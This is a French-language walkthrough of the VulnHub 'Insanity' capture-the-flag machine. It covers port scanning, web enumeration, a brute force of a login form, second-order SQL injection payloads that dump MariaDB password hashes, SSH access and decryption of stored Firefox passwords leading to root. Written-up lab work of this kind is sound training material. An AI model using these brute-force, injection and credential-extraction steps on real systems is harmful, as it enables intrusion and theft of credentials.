Accueil Solution du CTF Insanity de VulnHub
Post
Annuler

Solution du CTF Insanity de VulnHub

Virtual Insanity

J’ai continué sur les CTF créés par Thomas Williams avec le Insanity proposé sur VulnHub.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
$ sudo nmap -sCV --script vuln -T5 -p- 192.168.56.134
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.56.134
Host is up (0.0012s latency).
Not shown: 65451 filtered tcp ports (no-response), 81 filtered tcp ports (host-prohibited)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| vulners: 
|   vsftpd 3.0.2: 
|       CVE-2021-3618   7.4     https://vulners.com/cve/CVE-2021-3618
|_      CVE-2015-1419   5.0     https://vulners.com/cve/CVE-2015-1419
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:7.4: 
|       95499236-C9FE-56A6-9D7D-E943A24B633A    10.0    https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A  *EXPLOIT*
|       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A    10.0    https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A  *EXPLOIT*
--- snip ---
|_      1337DAY-ID-30937        0.0     https://vulners.com/zdt/1337DAY-ID-30937        *EXPLOIT*
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/7.2.33)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.2.33
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.56.134:80/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/default-assets/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/default-assets/?C=N%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/default-assets/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/default-assets/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/?C=S%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/?C=D%3BO%3DD%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/?C=N%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/?C=D%3BO%3DA%27%20OR%20sqlspider
|     http://192.168.56.134:80/js/?C=S%3BO%3DD%27%20OR%20sqlspider
|_    http://192.168.56.134:80/js/?C=M%3BO%3DA%27%20OR%20sqlspider
|_http-dombased-xss: Couldn't find any DOM based XSS.
| vulners: 
|   cpe:/a:apache:http_server:2.4.6: 
|       C94CBDE1-4CC5-5C06-9D18-23CAB216705E    10.0    https://vulners.com/githubexploit/C94CBDE1-4CC5-5C06-9D18-23CAB216705E  *EXPLOIT*
|       95499236-C9FE-56A6-9D7D-E943A24B633A    10.0    https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A  *EXPLOIT*
|       2C119FFA-ECE0-5E14-A4A4-354A2C38071A    10.0    https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A  *EXPLOIT*
--- snip ---
|       PACKETSTORM:164501      0.0     https://vulners.com/packetstorm/PACKETSTORM:164501      *EXPLOIT*
|       PACKETSTORM:164418      0.0     https://vulners.com/packetstorm/PACKETSTORM:164418      *EXPLOIT*
|       PACKETSTORM:140265      0.0     https://vulners.com/packetstorm/PACKETSTORM:140265      *EXPLOIT*
|_      05403438-4985-5E78-A702-784E03F724D4    0.0     https://vulners.com/githubexploit/05403438-4985-5E78-A702-784E03F724D4  *EXPLOIT*
| http-enum: 
|   /phpinfo.php: Possible information file
|   /phpmyadmin/: phpMyAdmin
|   /webmail/src/login.php: squirrelmail version 1.4.22
|   /webmail/images/sm_logo.png: SquirrelMail
|   /css/: Potentially interesting folder w/ directory listing
|   /data/: Potentially interesting folder w/ directory listing
|   /icons/: Potentially interesting folder w/ directory listing
|   /img/: Potentially interesting folder w/ directory listing
|   /js/: Potentially interesting folder w/ directory listing
|_  /news/: Potentially interesting folder
MAC Address: 08:00:27:1E:8C:8E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.20 seconds

Le phpinfo.php retrouvé par Nmap mentionne le nom d’hôte insanityhosting.vm ainsi que le système qui est un CentOS x86_64.

Le FTP accepte les connexions anonymes, mais semble mal fonctionner en mode passif. On y trouve un dossier pub qui est vide.

Les dossiers phpmyadmin et webmail ont besoin d’une authentification. J’ai énuméré pour chercher des ressources supplémentaires :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ feroxbuster -u http://192.168.56.134/ -w DirBuster-0.12/directory-list-2.3-big.txt -n -x php,html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.56.134/
 🚀  Threads               │ 50
 📖  Wordlist              │ DirBuster-0.12/directory-list-2.3-big.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 💲  Extensions            │ [php, html]
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        7l       20w      235c http://192.168.56.134/news
301        7l       20w      234c http://192.168.56.134/img
200        1l        4w       31c http://192.168.56.134/index.php
200      479l     1477w    22263c http://192.168.56.134/index.html
301        7l       20w      235c http://192.168.56.134/data
301        7l       20w      234c http://192.168.56.134/css
301        7l       20w      233c http://192.168.56.134/js
301        7l       20w      238c http://192.168.56.134/webmail
301        7l       20w      236c http://192.168.56.134/fonts
301        7l       20w      241c http://192.168.56.134/monitoring
200        1l       10w       57c http://192.168.56.134/licence
301        7l       20w      241c http://192.168.56.134/phpmyadmin
200     1024l     5354w        0c http://192.168.56.134/phpinfo.php
403        8l       22w      458c http://192.168.56.134/logitech-quickcam_W0QQcatrefZC5QQfbdZ1QQfclZ3QQfposZ95112QQfromZR14QQfrppZ50QQfsclZ1QQfsooZ1QQfsopZ1QQfssZ0QQfstypeZ1QQftrtZ1QQftrvZ1QQftsZ2QQnojsprZyQQpfidZ0QQsaatcZ1QQsacatZQ2d1QQsacqyopZgeQQsacurZ0QQsadisZ200QQsaslopZ1QQsofocusZbsQQsorefinesearchZ1.html
[####################] - 12m  3820686/3820686 0s      found:14      errors:122    
[####################] - 12m  3820686/3820686 4944/s  http://192.168.56.134/

Le fichier index.php indique juste [105] Missing version directory. Brute forcer un nom de paramètres en GET ou POST n’a mené nulle part.

Le dossier data pourrait correspondre à ce script, car il contient un fichier VERSION, cependant je ne vois pas quoi en faire.

Une énumération de virtual hosts avec le suffixe infinityhosting.vm n’a rien trouvé non plus.

Sur /monitoring on trouve une autre mire de login. Il est aussi mention d’un utilisateur nommé otis :

1
2
3
4
5
6
7
8
9
10
11
12
<!-- Page title -->
<h1 class="title">Monitoring Service</h1>

<!-- Page description -->

<!-- Page cover image -->

<!-- Page content -->
<div class="page-content">
<p>Our team have been working hard to create you a free monitoring service for your servers. A special thank you to Otis, who led the team.</p>
<p>We are pleased to announce that from next week, you will be able to register for our monitoring service. This will remain free, whether you are a customer or not.</p>
<p>If you are interested, please e-mail us at <a href="mailto:hello@insanityhosting.vm,">hello@insanityhosting.vm,</a> and we can provide you more details.</p>                </div>

Les services sont longs à répondre, heureusement le mot de passe de otis est faible et au début de la wordlist rockyou :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ffuf -u http://www.insanityhosting.vm/monitoring/index.php -d "username=otis&password=FUZZ" -X POST  -H "Content-type: application/x-www-form-urlencoded" -w wordlists/rockyou.txt -fr "Location: login.php"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : POST
 :: URL              : http://www.insanityhosting.vm/monitoring/index.php
 :: Wordlist         : FUZZ: wordlists/rockyou.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=otis&password=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Location: login.php
________________________________________________

123456                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1753ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

L’interface de monitoring en question indique si un host/ip est “UP”. On peut ajouter des entrées et les modifier, mais pas les supprimer.

Tout ceci sent très fort l’utilisation de la commande ping et donc l’injection de commande… mais rien n’a fonctionné.

Travailler dessus aurait été agréable si le code de l’appli échappait proprement les caractères HTML. Par exemple, si on rajoute une entrée dont le nom contient une double quote, celle-çi ferme l’attribut href du tag HTML permettant de modifier l’entrée. Il faut copier le nom, l’échapper pour l’URL (via urllib.parse.quote en Python par exemple) ou via édition du HTML dans les dev tools (via html.escape en Python) sans quoi impossible de modifier une entrée existante.

On a tout de même une forte intuition que l’appli est vulnérable à une faille SQL, car son comportement devient vite erratique.

J’ai énuméré les fichiers dans monitoring et trouvé un dossier de templates, ainsi qu’une référence à smarty :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
301        7l       20w      256c http://www.insanityhosting.vm/monitoring/images
301        7l       20w      259c http://www.insanityhosting.vm/monitoring/templates
302        0l        0w        0c http://www.insanityhosting.vm/monitoring/index.php
301        7l       20w      256c http://www.insanityhosting.vm/monitoring/assets
301        7l       20w      253c http://www.insanityhosting.vm/monitoring/css
200       95l      194w     4848c http://www.insanityhosting.vm/monitoring/login.php
301        7l       20w      252c http://www.insanityhosting.vm/monitoring/js
302        0l        0w        0c http://www.insanityhosting.vm/monitoring/logout.php
301        7l       20w      256c http://www.insanityhosting.vm/monitoring/vendor
301        7l       20w      258c http://www.insanityhosting.vm/monitoring/settings
301        7l       20w      255c http://www.insanityhosting.vm/monitoring/class
403        8l       22w      221c http://www.insanityhosting.vm/monitoring/cron.php
301        7l       20w      255c http://www.insanityhosting.vm/monitoring/fonts
301        7l       20w      256c http://www.insanityhosting.vm/monitoring/smarty
301        7l       20w      261c http://www.insanityhosting.vm/monitoring/templates_c

J’ai donc testé les SSTI en me basant sur HackTricks mais ça n’a pas fonctionné.

Finalement, j’ai testé les identifiants d’otis sur le webmail et ça fonctionnait (sans le @insanityhosting.vm).

Second Order

En ajoutant une entrée dans monitoring avec un nom d’hôte inexistant, on finit par recevoir des emails :

1
2
3
4
5
6
7
8
9
10
11
From:     monitor@localhost.localdomain
Subject:     WARNING
Date:     Thu, July 10, 2025 4:01 pm
To:     otis@localhost.localdomain

yolo is down. Please check the report below for more information.

ID, Host, Date Time, Status
18,yolo,"2025-07-10 15:59:01",0
20,yolo,"2025-07-10 16:00:01",0
22,yolo,"2025-07-10 16:01:01",0

À noter que yolo correspond ici au nom que l’on donne pour l’entrée, mais pas à la valeur du nom d’hôte.

Si je corrige mon entrée pour mettre un nom d’hôte valide, que j’attends que le status repasse à UP, puis rectifie l’entrée pour remettre l’hôte invalide alors, on retrouve bien le changement de status dans un nouvel email :

1
2
3
4
5
6
7
8
9
10
ID, Host, Date Time, Status
18,yolo,"2025-07-10 15:59:01",0
20,yolo,"2025-07-10 16:00:01",0
22,yolo,"2025-07-10 16:01:01",0
24,yolo,"2025-07-10 16:02:01",0
26,yolo,"2025-07-10 16:03:01",0
28,yolo,"2025-07-10 16:04:01",0
30,yolo,"2025-07-10 16:05:01",1
32,yolo,"2025-07-10 16:06:01",1
34,yolo,"2025-07-10 16:07:01",0

Si je mets des caractères qui peuvent altérer la requête SQL dans le nom de l’entrée, comme simple et double quote, alors plus aucun email n’arrive.

On est visiblement dans une situation de second-order SQL injection : les données sont proprement ajoutées en base lors de l’ajout d’une entrée, mais le script chargé du monitoring récupère les données et les réinjecte pour une nouvelle requête sans échapper les caractères dangereux.

Si on réfléchit à comment cela doit être implémenté, alors on doit avoir ce genre de requête lors de l’ajout :

1
insert into monitor (name, host) values ('nom', 'target');

Puis une tache CRON va récupérer les noms d’hôtes à pinger avec une requête simple. Potentiellement un timestamp est aussi utilisé pour ne pinger que les machines non testées depuis un laps de temps défini.

1
select name, host from monitor;

Pour chaque ping, un résultat doit être stocké en base. D’après les données reçues par email ça doit ressembler à ça :

1
insert into logs (host, date, status) values ('target', now(), status);

Si le ping n’a pas eu de réponse, un email est généré en récupérant la totalité des logs pour l’entrée correspondante :

1
select * from logs where name='nom';

Ce serait donc ici que la second-order SQL injection a lieu.

On va faire en sorte que cette requête devienne :

1
select * from logs where name='' union select 0,version(),user(),0 -- a;

Pour cela, j’ai créé une nouvelle entrée. Aucun mail n’est parvenu avec l’injection ' union select 0,version(),user(),0 -- a mais en changeant les simples quote par des doubles ça a fonctionné :

1
2
3
4
5
" union select 0,version(),user(),0 -- a; is down. Please check the report below for
more information.

ID, Host, Date Time, Status
0,5.5.65-MariaDB,root@localhost,0

Le script utilise le compte root de la base de données. On va en profiter pour récupérer les hashs :

1
" union select 0,concat(User,":",Password),authentication_string,0 from mysql.user -- a

Password est une colonne qui a été dépréciée, voir MySQL user DB does not have password columns - Stack Overflow. Il faut penser à obtenir authentication_string aussi.

1
2
3
4
ID, Host, Date Time, Status
0,root:*CDA244FF510B063DA17DFF84FF39BA0849F7920F,,0
0,:,,0
0,elliot:,*5A5749F309CAC33B27BA94EE02168FA3C3E7A3E9,0

Le hash de elliot se casse en elliot123.

Le hash root ne se casse pas avec rockyou et le compte elliot ne donne pas d’accès intéressant via phpmyadmin (il a accès à information_schema mais pas à la table TABLES par exemple).

Avec database(), j’obtiens le nom de la base courante qui est monitoring.

L’énumération SQL s’arrête ici car les identifiants sont acceptés par SSH.

Remember me

Premier point intéressant : un dossier .mozilla est présent, ce qui est assez inhabituel sur les CTFs.

1
2
3
4
5
6
7
8
9
10
11
12
13
[elliot@insanityhosting ~]$ alias ls="ls -alh --color"
[elliot@insanityhosting ~]$ ls
total 16K
drwx------. 5 elliot elliot 144 16 août   2020 .
drwxr-xr-x. 7 root   root    76 16 août   2020 ..
lrwxrwxrwx. 1 root   root     9 16 août   2020 .bash_history -> /dev/null
-rw-r--r--. 1 elliot elliot  18  1 avril  2020 .bash_logout
-rw-r--r--. 1 elliot elliot 193  1 avril  2020 .bash_profile
-rw-r--r--. 1 elliot elliot 231  1 avril  2020 .bashrc
drwx------. 3 elliot elliot  21 16 août   2020 .cache
drwx------. 5 elliot elliot  66 16 août   2020 .mozilla
drwx------. 2 elliot elliot  25 16 août   2020 .ssh
-rw-------. 1 elliot elliot 100 16 août   2020 .Xauthority

On va laisser planner le doute et fouiller plus, car il y a d’autres utilisateurs :

1
2
3
4
5
6
7
8
9
10
[elliot@insanityhosting ~]$ find /home/ -ls 2> /dev/null | grep -v elliot
16881309    0 drwxr-xr-x   7 root     root           76 août 16  2020 /home/
17376409    0 drwx------   2 admin    admin          62 août 16  2020 /home/admin
26167613    0 drwx------   3 otis     otis           95 août 16  2020 /home/otis
1125183    0 drwx------   2 nicholas nicholas       83 août 16  2020 /home/nicholas
17129814    0 drwx------   3 monitor  monitor        99 août 16  2020 /home/monitor
[elliot@insanityhosting ~]$ find / -user otis -ls 2> /dev/null 
1125182   12 -rw-------   1 otis     mail         8761 juil. 10 18:08 /var/spool/mail/otis
1756462    4 -rw-rw-rw-   1 otis     otis           36 août 16  2020 /var/spool/mail/.subscriptions
26167613    0 drwx------   3 otis     otis           95 août 16  2020 /home/otis

Je me suis renseigné un peu et ce fichier .subscriptions ne semble pas actionable.

J’ai surveillé les taches CRON avec pspy et je n’ai rien trouvé d’exploitable non plus.

1
2
3
4
5
6
7
8
9
2025/07/10 18:16:01 CMD: UID=1004 PID=13444  | /usr/sbin/CROND -n 
2025/07/10 18:16:01 CMD: UID=1004 PID=13445  | /usr/bin/php -q /var/www/html/monitoring/cron.php 
2025/07/10 18:16:02 CMD: UID=0    PID=13446  | sendmail: startup with localhost
2025/07/10 18:16:02 CMD: UID=0    PID=13447  | sendmail: ./56AHG2jH013446 from queue
2025/07/10 18:16:02 CMD: UID=1004 PID=13448  | sh -c ping -n -c 1 -t 255 -W 1 127.0.0.1 2>&1 
2025/07/10 18:16:02 CMD: UID=0    PID=13450  | procmail -f monitor@localhost.localdomain -t -Y -a  -d otis 
2025/07/10 18:16:02 CMD: UID=1004 PID=13449  | sh -c ping -n -c 1 -t 255 -W 1 127.0.0.1 2>&1 
2025/07/10 18:16:02 CMD: UID=1004 PID=13452  | sh -c ping -n -c 1 -t 255 -W 1 127.0.0.1 2>&1 
2025/07/10 18:16:02 CMD: UID=1004 PID=13453  | ping -n -c 1 -t 255 -W 1 127.0.0.1

J’ai retrouvé le hash du compte root sur mysql, mais il n’est pas utilisé ailleurs.

1
2
3
4
5
6
7
8
9
<?php

$databaseUsername = 'root';
$databasePassword = 'AesBeery8g9JLcWW';
$databaseServer = 'localhost';
$databaseName = 'monitoring';
$secureCookie = True;

?>

Finalement j’ai utilisé mon fork de firefox_decrypt pour extraire les identifiants du vault Firefox :

1
2
3
4
5
6
7
8
9
10
11
12
$ scp -r elliot@192.168.56.136:.mozilla/firefox .
$ git clone git@github.com:devl00p/firefox_decrypt.git
$ cd firefox_decrypt/
$ python3 firefox_decrypt.py ../firefox
Select the Mozilla profile you wish to decrypt
1 -> wqqe31s0.default
2 -> esmhp32w.default-default
2

Website:   https://localhost:10000
Username: 'root'
Password: 'S8Y389KJqWpJuSwFqFZHwfZ3GnegUa'

Le mot de passe permet de passer root :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root@insanityhosting ~]# id
uid=0(root) gid=0(root) groupes=0(root)
[root@insanityhosting ~]# ls
anaconda-ks.cfg  flag.txt
[root@insanityhosting ~]# cat flag.txt 
    ____                       _ __       
   /  _/___  _________ _____  (_) /___  __
   / // __ \/ ___/ __ `/ __ \/ / __/ / / /
 _/ // / / (__  ) /_/ / / / / / /_/ /_/ / 
/___/_/ /_/____/\__,_/_/ /_/_/\__/\__, /  
                                 /____/   

Well done for completing Insanity. I want to know how difficult you found this - let me know on my blog here: https://security.caerdydd.wales/insanity-ctf/

Follow me on twitter @bootlesshacker

https://security.caerdydd.wales

Please let me know if you have any feedback about my CTF - getting feedback for my CTF keeps me interested in making them.

Thanks!
Bootlesshacker
Cet article est sous licence CC BY 4.0 par l'auteur.